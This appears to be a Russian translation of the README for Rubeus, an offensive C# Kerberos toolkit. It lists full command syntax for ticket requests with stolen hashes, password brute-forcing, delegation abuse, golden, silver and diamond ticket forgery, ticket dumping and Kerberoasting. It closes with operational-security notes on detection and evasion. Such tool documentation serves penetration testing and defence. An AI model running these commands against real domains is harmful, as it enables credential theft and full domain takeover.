
Попытка приручить трехглавую собаку.
Rubeus — это набор инструментов на C# для прямого взаимодействия с Kerberos и его эксплуатации. Он сильно адаптирован из проекта Benjamin Delpy Kekeo (лицензия CC BY-NC-SA 4.0) и проекта Vincent LE TOUX MakeMeEnterpriseAdmin (лицензия GPL v3.0). Полная заслуга принадлежит Бенджамину и Винсенту за разработку сложных компонентов превращения в оружие — без их предыдущей работы этот проект не существовал бы.
Charlie Clark и Ceri Coburn внесли значительный вклад в качестве соразработчиков в кодовую базу Rubeus. Elad Shamir также внёс важный вклад в реализацию ограниченного делегирования на основе ресурсов. Их работа очень ценится!
Rubeus также использует библиотеку парсинга/кодирования ASN.1 на C# от Thomas Pornin под названием DDer, выпущенную под лицензией, похожей на «MIT». Огромное спасибо Томасу за его чистый и стабильный код!
Код PKINIT сильно адаптирован из инструмента Bruce от @SteveSyfuhs. Bruce сделал RFC4556 (PKINIT) гораздо более понятным. Огромное спасибо Стиву!
Кодирование и декодирование NDR для PAC Kerberos основано на библиотеке NtApiDotNet от @tiraniddo, спасибо, Джеймс.
Метод KerberosRequestorSecurityToken.GetRequest для Kerberoasting был передан в PowerView (а затем включён в Rubeus) @machosec.
@harmj0y является основным автором этой кодовой базы.
Rubeus распространяется под лицензией BSD 3-Clause.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
Запросы и продление билетов:
Получить TGT на основе пароля/хеша пользователя, опционально сохранить в файл или применить к текущему сеансу входа или конкретному LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить TGT на основе пароля/хеша пользователя, опционально сохранить в файл или применить к текущему сеансу входа или конкретному LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить TGT на основе пароля/хеша пользователя, запустить процесс /netonly и применить билет к новому процессу/сеансу входа:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить TGT с использованием сертификата PCKS12, запустить процесс /netonly и применить билет к новому процессу/сеансу входа:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить TGT с использованием сертификата из хранилища пользователя (смарт-карты), указав отпечаток или тему сертификата, запустить процесс /netonly и применить билет к новому процессу/сеансу входа:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
Получить TGT, подходящий для смены пароля учётной записи с истёкшим паролем, с помощью команды changepw:
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
Запросить TGT без отправки данных предварительной аутентификации:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Запросить служебный билет через AS-REQ:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить служебный билет для одного или нескольких SPN, опционально сохраняя или применяя билет:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Получить служебный билет с использованием опций Kerberos Key List Request:
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Получить билет управляемой учётной записи делегирования (dMSA):
Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Продлить TGT, опционально применить билет, сохранить его или автоматически продлевать до предела renew-till:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Выполнить атаку перебора паролей на основе Kerberos:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Выполнить сканирование учётных записей, не требующих предварительной аутентификации:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
Злоупотребление ограниченным делегированием:
Выполнить злоупотребление ограниченным делегированием S4U:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Выполнить злоупотребление ограниченным делегированием S4U между доменами:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Подделка билетов:
Сформировать золотой билет с использованием LDAP для сбора соответствующей информации:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
Сформировать золотой билет с использованием LDAP для сбора информации, но с явным переопределением некоторых значений:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Сформировать золотой билет с явным указанием значений:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Сформировать серебряный билет с использованием LDAP для сбора соответствующей информации:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Сформировать серебряный билет с использованием LDAP для сбора информации, используя ключ KRBTGT для вычисления KDCChecksum и TicketChecksum:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Сформировать серебряный билет с использованием LDAP для сбора информации, но с явным переопределением некоторых значений:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Сформировать серебряный билет с использованием LDAP для сбора информации и включением секции PAC S4U Delegation Info:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]
Сформировать серебряный билет с использованием LDAP для сбора информации и установкой другого cname и crealm:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]
Сформировать серебряный билет с явным указанием значений:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Сформировать алмазный TGT путём запроса TGT на основе пароля/хеша пользователя:
Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Сформировать алмазный TGT путём запроса TGT с использованием сертификата PCKS12:
Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Сформировать алмазный TGT путём запроса TGT с использованием tgtdeleg:
Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Управление билетами:
Отправить TGT, опционально указав конкретный LUID (при повышении привилегий):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
Очистить билеты из текущего сеанса входа, опционально указав конкретный LUID (при повышении привилегий):
Rubeus.exe purge [/luid:LOGINID]
Разобрать и описать билет (служебный билет или TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]
Извлечение и сбор билетов:
Сортировать все текущие билеты (при повышении привилегий — для всех пользователей), опционально указав конкретный LUID, имя пользователя или службу:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
Вывести список всех текущих билетов подробно (при повышении привилегий — для всех пользователей), опционально указав конкретный LUID:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
Выгрузить все данные текущих билетов (при повышении привилегий — для всех пользователей), опционально указав конкретную службу/LUID:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
Получить пригодный к использованию TGT .kirbi для текущего пользователя (с ключом сеанса) без повышения привилегий путём злоупотребления Kerberos GSS-API, имитируя делегирование:
Rubeus.exe tgtdeleg [/target:SPN]Мониторинг каждые /interval СЕКУНД (по умолчанию 60) на наличие новых TGT:
Rubeus.exe monitor [/interval:СЕКУНД] [/targetuser:ПОЛЬЗОВАТЕЛЬ] [/nowrap] [/registry:ИМЯПРОГРАММЫ] [/runfor:СЕКУНД]
Мониторинг каждые /monitorinterval СЕКУНД (по умолчанию 60) на наличие новых TGT, автоматическое обновление TGT и отображение рабочего кэша каждые /displayinterval СЕКУНД (по умолчанию 1200):
Rubeus.exe harvest [/monitorinterval:СЕКУНД] [/displayinterval:СЕКУНД] [/targetuser:ПОЛЬЗОВАТЕЛЬ] [/nowrap] [/registry:ИМЯПРОГРАММЫ] [/runfor:СЕКУНД]
Обжиг (Roasting):
Выполнить Kerberoasting:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Выполнить Kerberoasting с выводом хешей в файл:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU=,..."] [/ldaps]
Выполнить Kerberoasting с выводом хешей в формате файла, но на консоль:
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Выполнить Kerberoasting с альтернативными учетными данными:
Rubeus.exe kerberoast /creduser:ДОМЕН.FQDN\ПОЛЬЗОВАТЕЛЬ /credpassword:ПАРОЛЬ [/spn:"blah/blah"] [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Выполнить Kerberoasting с существующим TGT:
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
Выполнить Kerberoasting с существующим TGT, используя корпоративный субъект:
Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
Выполнить Kerberoasting с существующим TGT и автоматическим повторением с корпоративным субъектом в случае неудачи:
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]
Выполнить Kerberoasting с использованием билета tgtdeleg для запроса билетов служб — запрашивает RC4 для учетных записей AES:
Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
Выполнить "opsec" Kerberoasting, используя tgtdeleg и фильтруя учетные записи, включенные для AES:
Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
Вывести статистику по найденным учетным записям, доступным для Kerberoast, без фактической отправки запросов билетов:
Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
Выполнить Kerberoasting, запрашивая билеты только для учетных записей с admincount = 1 (пользовательский фильтр LDAP):
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
Выполнить Kerberoasting, запрашивая билеты только для учетных записей, у которых пароль последний раз был изменен между 01-31-2005 и 03-29-2010, возвращая до 5 билетов служб:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
Выполнить Kerberoasting с задержкой 5000 миллисекунд и джиттером 30%:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
Выполнить AES Kerberoasting:
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
Выполнить Kerberoasting с использованием учетной записи без предварительной аутентификации путем отправки AS-REQ:
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> /nopreauth:ПОЛЬЗОВАТЕЛЬ /domain:ДОМЕН [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/nowrap]
Выполнить AS-REP "roasting" для любых пользователей без предварительной аутентификации:
Rubeus.exe asreproast [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]
Выполнить AS-REP "roasting" для любых пользователей без предварительной аутентификации с выводом в формате Hashcat в файл:
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU=,..."] [/ldaps] [/des]
Выполнить AS-REP "roasting" для любых пользователей без предварительной аутентификации с использованием альтернативных учетных данных:
Rubeus.exe asreproast /creduser:ДОМЕН.FQDN\ПОЛЬЗОВАТЕЛЬ /credpassword:ПАРОЛЬ [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]
Разное:
Создать скрытую программу (если не передан /show) со случайными учетными данными /netonly, отображая PID и LUID:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.KIRBI]
Сбросить пароль пользователя из предоставленного TGT (AoratoPw):
Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:ПАРОЛЬ [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/targetuser:ДОМЕН\ИМЯ_ПОЛЬЗОВАТЕЛЯ]
Вычислить хеши rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1 и des_cbc_md5:
Rubeus.exe hash /password:X [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН]
Заменить sname или SPN в существующем билете службы:
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:ДОМЕН] [/ptt] [/luid] [/nowrap]
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:ДОМЕН] [/ptt] [/luid] [/nowrap]
Отобразить LUID текущего пользователя:
Rubeus.exe currentluid
Отобразить информацию о (текущем) или (целевом) сеансе входа, по умолчанию все читаемые:
Rubeus.exe logonsession [/current] [/luid:X]
Аргумент "/consoleoutfile:C:\FILE.txt" перенаправляет весь вывод консоли в указанный файл.
Флаг "/nowrap" предотвращает перенос столбцов для любых блобов билетов в base64 в любой функции.
Флаг "/debug" выводит отладочную информацию ASN.1.
Преобразовать AS-REP и ключ в Kirbi:
Rubeus.exe asrep2kirbi /asrep:<BASE64 | ПУТЬ_К_ФАЙЛУ> </key:BASE64 | /keyhex:ШЕСТНАДЦАТЕРИЧНАЯ_СТРОКА> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]
Вставить новый сеансовый ключ DES в Kirbi:
Rubeus.exe kirbi /kirbi:<BASE64 | ПУТЬ_К_ФАЙЛУ> /sessionkey:СЕАНСОВЫЙ_КЛЮЧ /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:ИМЯ_ФАЙЛА] [/nowrap]
ПРИМЕЧАНИЕ: Блобы билетов в base64 можно декодировать с помощью:
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
В этом разделе рассматриваются некоторые замечания по операционной безопасности использования Rubeus в среде, а также несколько технических примеров, сравнивающих некоторые его подходы с Mimikatz. Материал будет дополняться в будущем.
Любое действие, выполняемое в системе, представляет собой обнаруживаемый риск, особенно при злоупотреблении функциональностью «странным»/непредусмотренным образом. Rubeus (как и любой набор инструментов атакующего) может быть обнаружен несколькими методами — на уровне хоста, сети или домена. У меня есть коллега, который любит говорить: "всё скрытно, пока кто-то не начинает это искать" — инструменты и техники обычно уходят от обнаружения, потому что либо a) люди недостаточно осведомлены об инструменте/технике и поэтому даже не ищут, b) люди не могут собирать и обрабатывать необходимые данные в нужном масштабе, либо c) инструмент/техника смешивается с обычным поведением, чтобы затеряться среди ложных срабатываний в среде. Гораздо больше информации об этих шагах и обходе обнаружения в целом можно найти в докладе Matt Graeber и Lee Christensen на Black Hat USA 2018 «Subverting Sysmon» и связанном с ним документе.
С точки зрения хоста, Rubeus может быть обнаружен на этапе начальной подготовки самого кода, по аномальному (не lsass.exe) процессу, отправляющему необработанный Kerberos-трафик на порт 88, через использование чувствительных API, таких как LsaCallAuthenticationPackage(), или по аномальным билетам, присутствующим на хосте (например, использование rc4_hmac в билетах в современной среде).
С точки зрения сетевых журналов или журналов контроллера домена, поскольку Rubeus реализует многие части стандартного протокола Kerberos, основной метод обнаружения включает использование rc4_hmac в обмене Kerberos. Современные домены Windows (функциональный уровень 2008 и выше) по умолчанию используют шифрование AES в обычных обменах Kerberos (за несколькими исключениями, такими как межконтрольные доверительные билеты). Использование хеша rc4_hmac (NTLM) вместо ключа aes256_cts_hmac_sha1 (или aes128) в обмене Kerberos создаёт сигнал, который может быть обнаружен на уровне хоста, сети (если Kerberos-трафик анализируется) и журналов событий контроллера домена, иногда называемый «понижение шифрования».
Один из распространённых способов обнаружения атакующих инструментов — это вектор подготовки кода. Если Rubeus запускается через PowerShell (включая Empire), применяются все стандартные защиты PowerShell V5 (глубокое логирование блоков скриптов, AMSI и т.д.). Если Rubeus выполняется как двоичный файл на диске, вступает в силу стандартное сигнатурное обнаружение антивирусов (отчасти поэтому мы не публикуем скомпилированные версии Rubeus, так как хрупкие сигнатуры — это глупо;). Если Rubeus используется в качестве библиотеки, то он подвержен тому методу запуска, который использует основной инструмент. А если Rubeus запускается через выполнение неуправляемой сборки (например, execute_assembly в Cobalt Strike), выполняется межпроцессное внедрение кода, и CLR загружается в потенциально не-.NET процесс, хотя этот сигнал присутствует при выполнении любого .NET кода этим методом.
Кроме того, AMSI (интерфейс сканирования вредоносных программ) был добавлен в .NET 4.8. Ryan Cobb имеет дополнительные подробности об атакующих последствиях этого в разделе Защита своей статьи «Entering a Covenant: .NET Command and Control».
Предположим, у нас есть повышенный доступ к машине, и мы хотим извлечь учетные данные пользователя для повторного использования.
